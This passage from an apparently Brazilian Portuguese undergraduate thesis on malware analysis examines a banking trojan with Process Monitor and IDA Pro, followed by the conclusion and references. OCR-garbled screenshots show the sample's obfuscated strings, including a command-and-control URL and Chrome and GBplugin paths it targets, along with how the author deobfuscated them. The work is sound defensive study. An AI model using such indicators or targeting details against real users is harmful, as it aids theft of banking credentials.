Figura 68 – Malware acessando as configurações do administrador

Próprio Autor

E importante dastacar que o *malware* procura o programa *GBplugin*, como mostra 68. Esse programa é utilizado para acessar páginas de bancos virtuais, uma vez que sem ele não há como realizar o acesso. O código também faz referência a biblioteca *Wininet* do *Windows*, a qual permite conexão a rede.

Depois de realizar a análise pelo *Process Monitor*, a próxima ferramenta utilizada foi *IDA Pro.* Assim, ao abrir a ferramenta, escolher a opção *PE Executable* e assim abrir o arquivo que deseja analisar. Nessa etapa as *strings* foram analisadas. Ao identificá-las, foi visto que as mesmas estavam criptografadas. Muitos códigos maliciosos possuem funções para embaralhar esses textos e assim não serem detectados por programas como o *site Virus Total.* A imagem 69 mostra as *strings* do código.

"" File Edit Jump Search View Debugger Options Windows Help	
😂 🖳 ← ~ → ~ 🏘 🍓 🎼 1. Text 💌 push 💌 🖋 = + × 🗟 🗃 🛈	₽ =
) 🖹 📾 🔶) 🖾 🗛 💥 🚣 🥔 🧨 🔠 💦 🧯 🛍 📘 🎥 🏙 💦 🦌 🐄 🛛 🐥 🎞 📔 🔛 😪 😤	1
X En 888 887 128 "s" * N × 287 # * 'x' S H K /→ 〃 ℓ : ; 燕學 Ц հ 孟 杰 ¥	盘蒸
🗐 🗃 😫 🗧 🕂 🖌 🦒	
	н н
🖹 IDA View-A 🔛 Hex View-A 🎼 Imports N Names 🍖 Functions "" Strings 🐧 Structures 🖪 En Enums	
Address Length T String	
"" CDDE:0 00000050 C c*m@d# %/%c#### ################@m%d*i@r# %/%s* #/%q% * @C#:%\\%B*a#n%c*o*B@r#a#s%i*	
"" CDDE:0 00000023 C #s"y########s####s######c#####a%	
"" CODE:0 00000020 C #.%z##########################@	
"" CDDE:0 00000043 C h##1:##p:/%##%##%##/2##0#0.9#8.1#3#5.2#19/si#st#ema/m#o##du####es/	
"" CDDE:0 0000001A C #.%h################m%!*	
"" CDDE:0 00000020 C #.#c#################################	
"" CDDE:0 0000002F C \\@6#4###########x%3##*4#6##%##.%c#################@@x@	
"" CDDE:0 00000037 C \\6"6####################5*7#3##%5##%y".@c####################################	
"" CODE:0 00000028 C P@o###@r#t%################################	
"" CDDE:0 0000002C C B*;######################@a@####s##########	
"" CDDE:0 00000020 C h#########*s####&c*.@c######o%m%	
"" CDDE:0 00000034 C C%:#\\%P%R*O@G#R%A#################*~*1#\\%G*b@P#I#u%g*i*n#	
"" CDDE:0 00000031 C C*.#\\%P"R*0@G#R%A%~*2#\\%G##########b@P@I#u%g*i*n#	
"" CDDE:0 00000034 C C@:#\\%P*R*0#G%R*A*~@3#\\%G###*b*P#l%u#########@@@n#	
"" CODE:0 00000033 C C#######################%\\'P@R#0#G%R*A#~#4%##\\'\$G@b#P%I*u*g#i%n*	
"" CDDE:0 00000033 C C@:#\\#A%R#############Q#U#I%V*~@##1#\\#G%b*P#I%u*g*@n#	

Figura 69 – Tela da IDA Pro mostrando as strings

Ao analisar *strings* criptografadas é importante verificar se há um padrão na criptografia do arquivo. Assim foi visto que muitos símbolos se repetiam. Portanto, as *strings* foram copiadas para o bloco de notas e foi feita a substituição de cada símbolo por nenhum outro. O primeiro símbolo substituído foi o cerquilha (#). A imagem 70 mostra o processo de substituição e a imagem 71 mostra depois do processo.

CODE:00418EB4_000000A7_C_L#0%c*a@l#_#5%e*t#t#i%n*g@####################################			
CODE:00419024_0000005C_C_\\#G%o*o####g#]%e*\\@C#h%r*o#m#e%*U@s@e#r%_*D*a#t%a%*#######@e#f#a%u*]*t#\\%H*i@s@t#o%r*y*			
CODE:00419CFC 00000021 C #s*y#s#################################			
CODE:00419D28 00000020 C #.%z############################@			
CODE:00419D50 00000043 C h##tt##p:/%##%##%##/2##0#0.9#8.1#3#5.2#19/si#st#ema/m#o##	*du##1#es/		
CODE:00419DA8 0000001A C #.%h###########*t##*t###m%]*			
CODE:00419DCC 00000020 C #.#c##############################@p*1@			
CODE:00419DF4 00000028 ⊂ C%:%*B@###a#n%c*###################################			
CODE:00419E24 00000050 ⊂ c*m@d# %/%c###* #################%m%d*i@r# %/%s* #/%q% * @c#:%\\	\%B*a#n%C*o*B@r#a#s%i*l*		
CODE:0041A124 00000023 C #s*y###################################			
CODE:0041A150 00000020 C #.%2############################@			
CODE:0041A178 00000043 C h##tt##p:/%##%##%##/2##0#0.9#8.1#3#5.2#19/si#st#ema/m#o##	Substituir 🤶 🔀		
CODE:0041A1D0 0000001A C #.%h###########*t##*t###%1*			
CODE:0041A1F4 00000020 C #.#C###############################@p*]@	u r #		
CODE:0041AEB8 0000002F C \\@6#4#########X%3##*4#6##%##.%C##################@x@	Localizar: #		
CODE:0041AEF0 00000037 C \\6*6#########@4#x%##5*7#3##%5##%y*.@c##########@d#x%	Cubatinir		
CODE:0041AF30 0000002B C P@o###@r#t%################################	Substituir por:		
CODE:0041AF64 0000002C C B*r###############@a@####s################	Ch P int		
CODE:0041AFA4 00000020 C h########*s####b%c*.@c#####o%m%	Substituir tudo		
CODE:0041AFCC 00000034 C C%:#\\%P%R*0@G#R%A#############*~*1#\\%G*b@P#1#u%g*i*n#			
CODE:0041B008 00000031 C C*:#\\%P*R*0@G#R%A%~*2#\\%G########b@P@l#u%g*i*n#	Diferenciar maiúsculas de minúsculas		
CODE:0041B044 00000034 C C@:#\\%P*R*O#G%R*A*~@3#\\%G###*b*P#1%u################@@i@n#			
CODE:0041B080 00000033 C C###########*%*P@R#O#G%R*A#~#4%##*G@b#P%l*u*g#i%n*			
CODE:0041B0BC 00000033 C C@:#\\#A%R########*Q#U#I%V*~@##1#\\#G%b*P#]%u*ğ*i@n#			
CODE:0041B0F8 00000022 C ############################			
CODE:0041B124 00000020 C #.#C##############################@p*]@			

Figura 70 – Tela da do bloco de notas antes de realizar a substituição do símbolo cerquilha

CODE:00418EB4 000000A7 C Lo%c*a@I s%e*tti%n*g@s\\A%p*pli%c*a@tio%n* Da%t*a@\\Go%o*gle%*C@hro%m*e\\U%s*e@r@ D&a*ta\\%D	*e@t@au%l*t
CODE:00419024 0000005C C \\G%o*oql%e*\\@Ch%r [*] ome%*U@s@er% *D*at%a%*D@efa%u*l*t\\%H*i@s@to%r*y*	
CODE:00419CFC 00000021 C s*ys%*c*dx@	
CODE:00419D28 00000020 C X7*70	
CODE:00419D50 00000043 C http:/%%%/200.98.135.219/sistema/modules/	
CODE:00419DA8 0000001A C	
CODE:00419DCC 00000020 C .C%p*1@	

Figura 71 – Tela do bloco de notas após substituição do símbolo cerquilha

É importante destacar que após substituir o símbolo, foi possível identificar a informação de acesso ao endereço IP visto anteriormente como mostra a imagem 71. Assim foi realizada a substituição de outros símbolos até que não houvesse nenhum. A imagem 72 mostra as informações identificadas.



Figura 72 – Tela do bloco de notas com strings identificadas

Próprio Autor

Portanto, esse código tem um comportamento parecido com o *malware Botnet*, uma vez que ele se espalha e tenta atingir o maior número de máquinas possíveis. O código também procura arquivos relacionados a bancos, além de acessar páginas dos mesmos. De acordo com Stallings e Brown (2015), um *Botnet* ou *Bot* é um programa que é ativado em uma máquina infectada para realizar ataques em outras máquinas.

6 Conclusão

Malware causa muitos problemas para os usuários computacionais, uma vez que prejudicam a máquina atingida e roubam informações dos usuários a fim de obter algum lucro financeiro. Com a pandemia do coronavírus, percebeu-se que os desenvolvedores desses códigos maliciosos aproveitam da desinformação da população para disseminar esses códigos.

Neste trabalho foram apresentadas as técnicas de análise estática e dinâmica para realizar o estudo e compreensão de arquivos maliciosos. Além da definição e explicação de cada *malware*, também foi realizada a classificação dos *malwares* assim como as ferramentas necessárias para as análises.

O uso de cada análise proporcionou identificar o comportamento dos *malwares*. Características como data de criação, blicotecas DLLs, o uso de empacotadores, entre outros foram identificados por meio da análise estática. Já processos e mudanças no registro foi feito através da análise dinâmica.

Cada código analisado teve seu nível de complexidade. Os dois primeiros códigos apresentaram comportamentos mais simples, apesar do arquivo 4.2 estar empacotado, as informações estavam compreensíveis. Já o arquivo 4.3 apresentou um nível maior de complexidade comparado aos outros. Foi necessário o uso de um *debugger* para a análise e suas *strings* estavam criptografadas. Os outros códigos analisados apresentaram um nível de complexidade menor em relação ao arquivo 4.3.

O estudo sobre códigos maliciosos possibilitou um maior conhecimento sobre o tema, e como cada *malware* se propaga para atingir computadores. Com as características de cada um apresentadas, também foi possível mostrar os recursos que os *malwares* utilizam para que não sejam descobertos.

A importância de entender e analisar as características de cada código permite que novas ferramentas sejam criadas, já que os desenvolvedores de *malwares* sempre estão aperfeiçoando seus códigos para que a detecção seja mais difícil. Assim, é muito importante que analistas de segurança sempre estejam se atualizando e desenvolvendo ferramentas para esse fim.

Neste trabalho foi adquirido o conhecimento sobre o tema, como a definição de *malware* e a classificação de cada um. Além da compreensão sobre o tema, foi necessário estudar os tipos de análises e entender como cada ferramenta funciona.

Como proposta de trabalhos futuros, pode-se estudar outros *malwares* que não foram apresentados neste trabalho, como o *malware rootkit* e o *ransomware*. Outra ideia é estudar outras técnicas de detecção de códigos maliciosos como a análise de memória, e implementar um modelo de detecção desses *malwares* com o auxílio da inteligência artificial.
Referências

BARROS, D. A. D. d. M. Enriquecimento semântico de logs como auxílio no processo de gestão e tomada de decisões. Dissertação (Mestrado) — Universidade Federal de Pernambuco, 2018.

BRITTO, G. A.; FREITAS, M. B. Ciberataques em massa e os limites do poder punitivo na tipificação de crimes informáticos. *Revista de Direito Penal, Processo Penal e Constituição*, v. 3, n. 2, p. 1–16, 2017.

KASPERSKY. Brasil é o 4º país mais atacado por malware financeiro em 2019. 2020. Disponível em: (https://www.kaspersky.com.br/blog/ brasil-atacado-malware-financeiro-2019-pesquisa/14894/). Acesso em: 25 de Setembro de 2020 às 10:22.

KASPERSKY. Brasileiros estão entre os mais atacados por golpes durante a pandemia. 2020. Disponível em: (https://www.kaspersky.com.br/blog/brasil-phishing-covid-golpe/15902/). Acesso em: 28 de Setembro de 2020.

KASPERSKY. Centenas de domínios maliciosos usam o tema COVID-19. 2020. Disponível em: (https://www.kaspersky.com.br/blog/dominios-maliciosos-covid-pesquisa/ 14623/). Acesso em: 29 de Setembro de 2020.

KASPERSKY. Diversidade de malware aumenta 14% em 2019. 2020. Disponível em: (https://www.kaspersky.com.br/blog/malware-aumenta-2019-pesquisa/13896/). Acesso em: 25 de Março de 2020.

LEITE, L. P. Agrupamento de malware por comportamento de execução usando lógica fuzzy. 2016.

MANGIALARDO, R. J.; DUARTE, J. C. Integrating static and dynamic malware analysis using machine learning. *IEEE Latin America Transactions*, IEEE, v. 13, n. 9, p. 3080–3087, 2015.

MICROSOFT. *Process Explorer v16.32.* 2020. Disponível em: (https://docs.microsoft. com/pt-br/sysinternals/downloads/process-explorer).

MICROSOFT. *Process Monitor v3.60.* 2020. Disponível em: (https://docs.microsoft. com/pt-br/sysinternals/downloads/procmon).

PAULISTA, C. L.; MARCHI, A. C. de. Uma plataforma de modelagem colaborativa de ontologias para análise de programas maliciosos. 2017.

PRADO, N.; PENTEADO, U.; GRÉGIO, A. Metodologia de detecção de malware por heurísticas comportamentais. *Simpósio Brasileiro em Segurança da Informação e de Sistemas. ISSN*, p. 2176–0063, 2016.

PRAYUDI, Y.; RIADI, I.; YUSIRWAN, S. S. Implementation of malware analysis using static and dynamic analysis method. *International Journal of Computer Applications*, Foundation of Computer Science, v. 117, n. 6, p. 11–15, 2015.

RUSSINOVICH, M.; SOLOMON, D. A.; IONESCU, A. Windows Internals : Part 1. 6. ed. Washington: Microsoft Press, 2012.

SIHWAIL, R.; OMAR, K.; ARIFFIN, K. A. Z. A survey on malware analysis techniques: Static, dynamic, hybrid and memory analysis. *International Journal on Advanced Science, Engineering and Information Technology*, INSIGHT-Indonesian Society for Knowledge and Human Development, v. 8, n. 4-2, p. 1662–1671, 2018.

STALLINGS, W.; BROWN, L. *Computer Security: Principles and Pratice.* 3. ed. New Jersey: Pearson Education, 2015.